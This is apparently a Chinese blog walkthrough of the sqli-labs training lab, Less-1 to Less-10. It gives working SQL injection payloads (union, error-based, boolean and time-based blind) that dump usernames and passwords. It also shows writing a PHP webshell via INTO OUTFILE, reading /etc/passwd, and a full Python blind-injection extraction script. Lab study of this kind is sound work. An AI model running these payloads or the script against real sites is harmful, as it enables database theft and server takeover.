我们得到了登陆名 Dumb 和密码 Dump。我们在URL上添加了一个参数,并让这个参数指向第一条记录。这是便生成了一个从浏览器到数据库的表中的一个快速的查询,从而来获取“id=1”的记录。同样,你可以构造查询来得到后面的记录如 2,3,4……
加个单引号
http://111.***.43.239/sqli-labs-master/Less-1/?id=1'
发现报错信息多出一个单引号,后面闭合语句也是用的单引号。构造注入语句:
http://111.***.43.239/sqli-labs-master/Less-1/?id=1' and '1'='1
返回正常,说明sql语句执行成功了,因为条件永远为真,所以正常返回。
猜解字段数,
http://111.***.43.239/sqli-labs-master/Less-1/?id=1' order by 5%23
第一个单引号的作用是闭合id参数,然后执行order by命令,需要用%23将后面的sql语句注释掉(%23 是#url编码之后的值,因为sql语句在进入数据查询的时候会进行一次url解码,所以这个地方必须是url编码之后的值)。
http://111.***.43.239/sqli-labs-master/Less-1/?id=1' order by 3%23
当为3是正好返回正常,说明字段数为3。
以下两个注入可以成功执行。
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,3%23
获取当前数据库名
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,(select database()) ,3%23
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23
获取表名
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479)%23
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,@@version,database()%23
' or '1'='1
' or 1=1 --+
数据库语句:
这里跟上面几乎一样,只是$id没用单引号引着,(因为sql语句对于数字型的数据可以不加单引号),不写单引号的注入就更简单了
现在执行的查询语句如下:
Select * from TABLE where id = 1' ;
所以这里的奇数个单引号破坏了查询,导致抛出错误。
根据返回错误信息,发现是数字型注入不需要单引号去闭合语句。
http://111.***.43.239/sqli-labs-master/Less-2/?id=-1 union select 1,@@version,database()%23
现在,从开发者的视角来看,为了对这样的错误采取保护措施,我们可以注释掉剩余的查询:
http://111.***.43.239/sqli-labs-master/Less-2/?id=1–-
注意:一定要在注释符号后加空格,或者URL编码后的空格(%20),否则注释符号不会产生作用。
可以成功注入的有:
or 1=1
or 1=1 --+
数据库语句:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
可以判断出只是多出一个括号而已,所以在单引号后面加一个后括号。
http://111.***.43.239/sqli-labs-master/Less-3/?id=1′) and 1=1%23 正常
http://111.***.43.239/sqli-labs-master/Less-3/?id=1′) and 1=2%23 无返回
注入成功。
单引号并不会报错,双引号报错。并且需要后括号去闭合语句。
构造注入语句为:
http://111.***.43.239/sqli-labs-master/Less-4/?id=1″) and 1=1%23 正常
http://111.***.43.239/sqli-labs-master/Less-4/?id=1″) and 1=2%23 无返回
如果所查询的用户id在数据库中,可以发现页面显示”You are in”,而不像前4关那样会显示出具体的账号密码
而如果输入的查询语句不存在,则什么也不会返回
这个跟less2一样,但是没东西出来,看看源码
diff -urNa Less-2/index.php Less-5/index.php
我们这里先用length测出数据库的长度是8
http://xx/sqli-labs/Less-5/?id=9%27%20and%20length(database())=8%20%23
接着,利用substr函数,推测库名的第一个字符
小于t
由此可推断第一个字符是s
接下来判断第二个字符:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(database(),2)>'sd'%23
‘sd’<’当前数据库名的前两位字符’<’sf’
所以当前数据库名的第二位字符为’e’。
以此类推,最后得到当前数据库名为“security”
因为有多个表,所以我们在这一步还是需要用到limit,以便一个个推测
还是一样,先测第一个表的长度
http://127.0.0.1/sqli-labs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))%23
使用上面这个payload,如果页面返回”You are in”,则表示第一张表的长度至少为1,同样的,我们可以对 limit num,1),num,1)) num部分进行递增判断,如果进行到 limit 0,1),7,1)) 时页面返回空,则说明第一张表的长度为7-1=6
http://127.0.0.1/sqli-labs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))%23
这里呢,我们只用substr就会不方便了,因为表名只要包含到数字或者像@这样的标识符,用字符一个夹逼就不是很方便,所以这里用acsii码来比对,这样范围更好确定
http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))>100%23
acsii码大于100,我们找到100所对于的acsii码得知100对应的是字符‘d’
acsii码小于102,我们找到102所对于的acsii码得知102对应的是字符‘f’
由此我们可以确定,第一个表的第一个字符是e
由此类推,得知第一个表是emails
另外呢,可以利用count函数,查询表数量
http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%201=(select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20)%23
页面返回”You are in”,则表示有四张表
还是先查询列的数量猜解列的个数
http://127.0.0.1/sqli-labs/Less-5/?id=1’ and %d=(select count(column_name) from information_schema.columns where table_name=‘users’)%23然
后一步步夹逼出列名
http://127.0.0.1/sqli-labs/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=“users” limit 4,1),1,1))>104%23
h<第五个列的第一个字符
其他payload,less 6即就改成双引号就好
查表,改一下limit后面的数字就好
第一个表
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
查列
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
查数据
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select email_id from emails limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
根据less5,这里也一样了,只不过是双引号而已,上面的less5改为双引号就好
http://localhost/sqli-labs/Less-6/?id=1" union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面
常用的语句是:
select "" into outfile "XXX\test.php"
当这里要获取到网站的在系统中的具体路径(绝对路径)
这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs
下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less3获取信息)
首先介绍两个可以说是函数,还是变量的东西
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
如上图,因为看到wamp,那么默认的网站的根目录的绝对路径就是/usr/local/mysql/var/了
mysql>SHOW VARIABLES LIKE “secure_file_priv”;
1.进入mysql查看secure_file_prive的值
secure_file_prive=null – 限制mysqld 不允许导入导出
secure_file_priv=/tmp/ – 限制mysqld的导入导出只能发生在/tmp/目录下
secure_file_priv=’ ’ – 不对mysqld 的导入 导出做限制
2.更改secure_file_pri的值
(1).找到 /private/etc/my.cnf
(2).在my.cnf中添加加粗部分语句即可
[mysqld]
max_connections=1024
secure_file_priv=’’
[mysql]
Default-character-set=utf8mb4
(3).重启mysql服务器
http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,' ' into outfile "/home/wwwroot/default/mua.php" --+
没有写入权限,用root用户执行chmod -R 777 ./sqli-labs
http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,' ' into outfile "/home/wwwroot/default/sqli-labs/mua.php" --+
再次执行
虽然有报错但是有文件了。
接下来使用菜刀连接
当然除了导出文件还有导入文件,因为这里前端没显示数据,可以导入导出同时使用即可
http://127.0.0.1/sqli-labs/Less-7/?id=1'))%20 union select 1,2,load_file('/etc/passwd') into outfile "/home/wwwroot/default/sqli-labs/passwd.php" --+
发现加个单引号跟没加显示不一样,加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了
猜数据库名第一个字母具体过程,使用二分法
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64 http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122 http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间 http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间 http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s
为什么这里是布尔型盲注呢,因为这里没把数据输出,只是$row有数据和无数据的时候显示的结果不一样
# -*-coding:utf-8-*-
import urllib2
import urllib
success_str = "You are in"
getTable = "users"
index = "0"
url = "http://localhost/sqli-labs/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"
asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #"
# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串 payload:使用的payload length:猜测的长度
def getLengthResult(payload, string, length):
finalUrl = url + urllib.quote(payload % (string, length))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False
# 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload string:猜测的字符串 pos:猜测字符串的位置 ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
finalUrl = url + urllib.quote(payload % (string, pos, ascii))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False
# 注入
def inject():
# 猜数据库长度
lengthOfDBName = getLengthOfString(lengthPayload, database)
print "length of DBname: " + str(lengthOfDBName)
# 获取数据库名称
DBname = getName(asciiPayload, selectDB, lengthOfDBName)
print "current database:" + DBname
# 获取数据库中的表的个数
# print selectTableCountPayload
tableCount = getLengthOfString(selectTableCountPayload, DBname)
print "count of talbe:" + str(tableCount)
# 获取数据库中的表
for i in xrange(0,tableCount):
# 第几个表
num = str(i)
# 获取当前这个表的长度
selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
print "current table length:" + str(tableNameLength)
# 获取当前这个表的名字
selectTableName = selectTable%(DBname, i)
tableName = getName(asciiPayload, selectTableName ,tableNameLength)
print tableName
selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
# print selectColumnCountPayload
# 获取指定表的列的数量
columnCount = getLengthOfString(selectColumnCountPayload, getTable)
print "table:" + getTable + " --count of column:" + str(columnCount)
# 获取该表有多少行数据
dataCountPayload = "'and (select count(*) from %s)>=%d #"
dataCount = getLengthOfString(dataCountPayload, getTable)
print "table:" + getTable + " --count of data: " + str(dataCount)
data = []
# 获取指定表中的列
for i in xrange(0,columnCount):
# 获取该列名字长度
selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
# print selectColumnNameLengthPayload
columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
print "current column length:" + str(columnNameLength)
# 获取该列的名字
selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
selectColumnName = selectColumn%(getTable, i)
# print selectColumnName
columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
print columnName
tmpData = []
tmpData.append(columnName)
# 获取该表的数据
for j in xrange(0,dataCount):
columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
# print columnDataLengthPayload
columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
# print columnDataLength
selectData = "select " + columnName + " from users limit " + str(j) + ",1"
columnData = getName(asciiPayload, selectData, columnDataLength)
# print columnData
tmpData.append(columnData)
data.append(tmpData)
# print data
# 格式化输出数据
# 输出列名
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][0] + " "
print tmp
# 输出具体数据
for j in xrange(1,dataCount+1):
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][j] + " "
print tmp
# 获取字符串的长度
def getLengthOfString(payload, string):
# 猜长度
lengthLeft = 0
lengthRigth = 0
guess = 10
# 确定长度上限,每次增加5
while 1:
# 如果长度大于guess
if getLengthResult(payload, string, guess) == True:
# 猜测值增加5
guess = guess + 5
else:
lengthRigth = guess
break
# print "lengthRigth: " + str(lengthRigth)
# 二分法查长度
mid = (lengthLeft + lengthRigth) / 2
while lengthLeft < lengthRigth - 1:
# 如果长度大于等于mid
if getLengthResult(payload, string, mid) == True:
# 更新长度的左边界为mid
lengthLeft = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
lengthRigth = mid
# 更新中值
mid = (lengthLeft + lengthRigth) / 2
# print lengthLeft, lengthRigth
# 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
# 所以长度区间:大于等于 lengthLeft,小于lengthRigth
# 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
# 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return lengthLeft
# 获取名称
def getName(payload, string, lengthOfString):
# 32是空格,是第一个可显示的字符,127是delete,最后一个字符
tmp = ''
for i in xrange(1,lengthOfString+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right - 1:
# 如果该字符串的第i个字符的ascii码大于等于mid
if getResult(payload, string, i, mid) == True:
# 则更新左边界
left = mid
mid = (left + right) / 2
else:
# 否则该字符串的第i个字符的ascii码小于mid
# 则更新右边界
right = mid
# 更新中值
mid = (left + right) / 2
tmp += chr(left)
# print tmp
return tmp
def main():
inject()
main()
这里直接给payload
http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23
判断数据库名的第一个字母为s(ascii为115),判断错误的话是暂停5秒
这里为什么必须基于时间呢,因为你怎么输入,输出结果都是You are in ,这就必须通过时间来判断了
把上面的改成双引号就行
判断为基于时间的双引号注入
http://localhost/sqli-labs/Less-10/?id=1" and sleep(5) %23
http://localhost/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
http://localhost/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23